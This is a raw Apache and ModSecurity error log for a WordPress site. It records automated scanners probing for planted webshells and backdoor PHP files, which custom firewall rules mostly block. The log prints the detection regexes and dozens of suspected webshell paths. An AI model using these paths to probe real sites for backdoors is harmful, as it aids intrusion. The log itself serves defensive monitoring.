[Fri Nov 21 16:00:05.706150 2025] [:error] [pid 25521:tid 25523] [client 136.144.42.79:52133] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Fri Nov 21 16:00:06.140699 2025] [:error] [pid 25521:tid 25535] [client 136.144.42.79:52133] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSAcBvhXnBMilDddn3Xm_QAAAMw"]
[Fri Nov 21 16:00:07.009793 2025] [:error] [pid 46939:tid 46946] [client 172.98.32.100:52645] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSAcB-0OmVoxD4VZ_ZluoAAAAUQ"]
[Fri Nov 21 16:00:10.085928 2025] [:error] [pid 25431:tid 25498] [client 172.98.32.92:35045] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Fri Nov 21 16:00:10.984565 2025] [:error] [pid 25431:tid 25505] [client 172.98.32.92:35045] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aSAcCsklhXxmoIExII0y7AAAAJI"]
[Fri Nov 21 16:00:12.381085 2025] [:error] [pid 25429:tid 25445] [client 172.98.32.79:56113] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aSAcDD4rZbRSr7vu-NOnagAAAAw"]
[Fri Nov 21 16:00:13.676232 2025] [:error] [pid 25431:tid 25506] [client 45.132.227.55:23907] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Nov 21 16:00:14.103844 2025] [:error] [pid 25431:tid 25500] [client 45.132.227.55:23907] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Fri Nov 21 16:00:14.580325 2025] [:error] [pid 25431:tid 25511] [client 45.132.227.55:23907] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSAcDsklhXxmoIExII0y_AAAAJg"]
[Fri Nov 21 16:00:15.987215 2025] [:error] [pid 46939:tid 46954] [client 172.98.32.79:41905] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Fri Nov 21 16:00:16.463852 2025] [:error] [pid 46939:tid 46947] [client 172.98.32.79:41905] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Fri Nov 21 16:00:17.403131 2025] [:error] [pid 46939:tid 46961] [client 172.98.32.79:41905] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Fri Nov 21 16:00:18.715965 2025] [:error] [pid 46939:tid 46952] [client 172.98.32.79:41905] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aSAcEu0OmVoxD4VZ_ZlvOgAAAUo"]
[Fri Nov 21 16:00:19.625791 2025] [:error] [pid 25554:tid 25575] [client 136.144.42.73:21803] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Fri Nov 21 16:00:21.083883 2025] [:error] [pid 25554:tid 25569] [client 136.144.42.73:21803] [client 136.144.42.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSAcFR-NtB-9AzFZrk5SvAAAAQs"]
[Fri Nov 21 16:00:22.413493 2025] [:error] [pid 25554:tid 25574] [client 172.98.32.80:54099] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Fri Nov 21 16:00:23.807170 2025] [:error] [pid 25554:tid 25572] [client 172.98.32.80:54099] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Fri Nov 21 16:00:24.248492 2025] [:error] [pid 25554:tid 25565] [client 172.98.32.80:54099] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Fri Nov 21 16:00:25.119151 2025] [:error] [pid 25554:tid 25581] [client 172.98.32.80:54099] [client 172.98.32.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.80, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aSAcGR-NtB-9AzFZrk5S0wAAARc"]
[Fri Nov 21 16:00:28.712151 2025] [:error] [pid 25554:tid 25581] [client 172.98.32.80:54099] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aSAcHB-NtB-9AzFZrk5S5QAAARc"]
[Fri Nov 21 16:00:29.566918 2025] [:error] [pid 25554:tid 25580] [client 172.98.32.100:64813] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Fri Nov 21 16:00:30.000597 2025] [:error] [pid 25554:tid 25578] [client 172.98.32.100:64813] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSAcHR-NtB-9AzFZrk5S7QAAARQ"]
[Fri Nov 21 16:00:30.887309 2025] [:error] [pid 25554:tid 25582] [client 45.132.227.60:28675] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Fri Nov 21 16:00:31.757564 2025] [:error] [pid 25554:tid 25570] [client 45.132.227.60:28675] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Fri Nov 21 16:00:32.630472 2025] [:error] [pid 25554:tid 25580] [client 45.132.227.60:28675] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aSAcIB-NtB-9AzFZrk5S_AAAARY"]
[Fri Nov 21 16:00:33.951226 2025] [:error] [pid 25521:tid 25524] [client 172.98.32.88:23687] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Fri Nov 21 16:00:34.379887 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.88:23687] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Fri Nov 21 16:00:35.265054 2025] [:error] [pid 25521:tid 25547] [client 172.98.32.88:23687] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aSAcI_hXnBMilDddn3XnkgAAANg"]
[Fri Nov 21 16:00:36.552128 2025] [:error] [pid 46939:tid 46957] [client 172.98.32.99:32551] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSAcJO0OmVoxD4VZ_ZlwMgAAAU8"]
[Fri Nov 21 16:00:37.445398 2025] [:error] [pid 25430:tid 25484] [client 45.132.227.54:23461] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Fri Nov 21 16:00:37.959290 2025] [:error] [pid 25430:tid 25464] [client 45.132.227.54:23461] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Fri Nov 21 16:00:38.820159 2025] [:error] [pid 25430:tid 25484] [client 45.132.227.54:23461] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aSAcJqpnWJcWt_4foXlDrgAAAFg"]
[Fri Nov 21 16:00:39.703744 2025] [:error] [pid 25521:tid 25528] [client 45.132.227.68:20867] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Fri Nov 21 16:00:40.567402 2025] [:error] [pid 25521:tid 25525] [client 45.132.227.68:20867] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iR7SzrsOUEP.php
[Fri Nov 21 16:00:40.993455 2025] [:error] [pid 25521:tid 25537] [client 45.132.227.68:20867] [client 45.132.227.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aSAcKPhXnBMilDddn3XnsQAAAM4"]
[Fri Nov 21 16:00:42.291775 2025] [:error] [pid 46939:tid 46964] [client 136.144.42.79:23127] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "aSAcKu0OmVoxD4VZ_ZlwlAAAAVY"]
[Fri Nov 21 16:00:43.168798 2025] [:error] [pid 46939:tid 46947] [client 172.98.32.98:32631] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aSAcK-0OmVoxD4VZ_ZlwogAAAUU"]
[Fri Nov 21 16:00:44.035383 2025] [:error] [pid 46939:tid 46948] [client 45.132.227.52:60859] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aSAcLO0OmVoxD4VZ_ZlwrgAAAUY"]
[Fri Nov 21 16:00:44.909830 2025] [:error] [pid 25430:tid 25477] [client 136.144.42.72:33085] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aSAcLKpnWJcWt_4foXlD4AAAAFE"]
[Fri Nov 21 16:00:45.852779 2025] [:error] [pid 25431:tid 25496] [client 136.144.42.77:55395] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aSAcLcklhXxmoIExII0zpQAAAIk"]
[Fri Nov 21 16:00:46.715750 2025] [:error] [pid 25521:tid 25523] [client 172.98.32.77:32041] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aSAcLvhXnBMilDddn3XnwgAAAMA"]
[Fri Nov 21 16:00:48.509859 2025] [:error] [pid 46939:tid 46942] [client 45.132.227.60:38091] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aSAcMO0OmVoxD4VZ_Zlw3AAAAUA"]
[Fri Nov 21 16:00:49.388828 2025] [:error] [pid 25431:tid 25487] [client 45.132.227.61:51219] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aSAcMcklhXxmoIExII0zvQAAAIA"]
[Fri Nov 21 16:00:50.267952 2025] [:error] [pid 25430:tid 25469] [client 172.98.32.96:59405] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aSAcMqpnWJcWt_4foXlD-gAAAEk"]
[Fri Nov 21 16:00:51.610066 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.56:23487] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aSAcM-0OmVoxD4VZ_ZlxCQAAAVQ"]
[Fri Nov 21 16:00:53.331211 2025] [:error] [pid 46939:tid 46948] [client 136.144.42.79:43129] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aSAcNe0OmVoxD4VZ_ZlxIwAAAUY"]
[Fri Nov 21 16:00:54.202623 2025] [:error] [pid 25431:tid 25508] [client 45.132.227.61:40611] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Fri Nov 21 16:00:55.970519 2025] [:error] [pid 25431:tid 25498] [client 45.132.227.61:40611] [client 45.132.227.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.227.61, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSAcN8klhXxmoIExII0z6QAAAIs"]
[Fri Nov 21 16:00:58.642812 2025] [:error] [pid 25431:tid 25491] [client 45.132.227.61:40611] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aSAcOsklhXxmoIExII00BwAAAIQ"]
[Fri Nov 21 16:00:59.509122 2025] [:error] [pid 25554:tid 25575] [client 172.98.32.98:40973] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aSAcOx-NtB-9AzFZrk5TxwAAARE"]
[Fri Nov 21 16:01:01.839602 2025] [:error] [pid 46939:tid 46943] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Fri Nov 21 16:01:02.333987 2025] [:error] [pid 46939:tid 46957] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fmfile.php
[Fri Nov 21 16:01:04.097355 2025] [:error] [pid 46939:tid 46956] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Fri Nov 21 16:01:04.527279 2025] [:error] [pid 46939:tid 46943] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Fri Nov 21 16:01:06.263965 2025] [:error] [pid 46939:tid 46952] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Fri Nov 21 16:01:06.697843 2025] [:error] [pid 46939:tid 46944] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Fri Nov 21 16:01:07.140497 2025] [:error] [pid 46939:tid 46943] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Fri Nov 21 16:01:07.575125 2025] [:error] [pid 46939:tid 46948] [client 136.144.42.73:64797] File does not exist: /usr/local/apache/htdocs/suspended-page/nation.php
[Fri Nov 21 16:01:08.000760 2025] [:error] [pid 46939:tid 46962] [client 136.144.42.73:64797] [client 136.144.42.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSAcQ-0OmVoxD4VZ_ZlxgQAAAVQ"]
[Fri Nov 21 16:01:08.863083 2025] [:error] [pid 25554:tid 25559] [client 172.98.32.98:34255] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aSAcRB-NtB-9AzFZrk5UIQAAAQE"]
[Fri Nov 21 16:01:09.732037 2025] [:error] [pid 25431:tid 25498] [client 45.132.227.52:61837] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSAcRcklhXxmoIExII00XAAAAIs"]
[Fri Nov 21 16:01:11.026634 2025] [:error] [pid 25554:tid 25561] [client 45.132.227.52:59307] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Fri Nov 21 16:01:11.466298 2025] [:error] [pid 25554:tid 25575] [client 45.132.227.52:59307] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-footer.php
[Fri Nov 21 16:01:12.329409 2025] [:error] [pid 25554:tid 25576] [client 45.132.227.52:59307] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Fri Nov 21 16:01:13.184907 2025] [:error] [pid 25554:tid 25570] [client 45.132.227.52:59307] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aSAcSR-NtB-9AzFZrk5UXQAAAQw"]
[Fri Nov 21 16:01:14.041645 2025] [:error] [pid 25429:tid 25449] [client 136.144.42.69:60241] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aSAcSj4rZbRSr7vu-NOo9gAAABA"]
[Fri Nov 21 16:01:14.897067 2025] [:error] [pid 46939:tid 46946] [client 172.98.32.98:60981] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aSAcSu0OmVoxD4VZ_ZlxpwAAAUQ"]
[Fri Nov 21 16:01:17.490599 2025] [:error] [pid 25431:tid 25497] [client 172.98.32.86:50067] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aSAcTcklhXxmoIExII00twAAAIo"]
[Fri Nov 21 16:01:18.781524 2025] [:error] [pid 25554:tid 25564] [client 172.98.32.88:46989] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aSAcTh-NtB-9AzFZrk5UoQAAAQY"]
[Fri Nov 21 16:01:20.500751 2025] [:error] [pid 25521:tid 25534] [client 172.98.32.92:34223] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aSAcUPhXnBMilDddn3XoTAAAAMs"]
[Fri Nov 21 16:01:26.134769 2025] [:error] [pid 46939:tid 46944] [client 136.144.42.77:38535] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSAcVu0OmVoxD4VZ_Zlx7QAAAUI"]
[Fri Nov 21 16:01:27.041904 2025] [:error] [pid 25521:tid 25533] [client 172.98.32.76:37385] File does not exist: /usr/local/apache/htdocs/suspended-page/xex.php
[Fri Nov 21 16:01:27.921051 2025] [:error] [pid 25521:tid 25540] [client 172.98.32.76:37385] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSAcV_hXnBMilDddn3XoYQAAANE"]
[Fri Nov 21 16:01:29.694700 2025] [:error] [pid 25429:tid 25444] [client 136.144.42.74:33169] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Fri Nov 21 16:01:31.036324 2025] [:error] [pid 25429:tid 25436] [client 136.144.42.74:33169] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
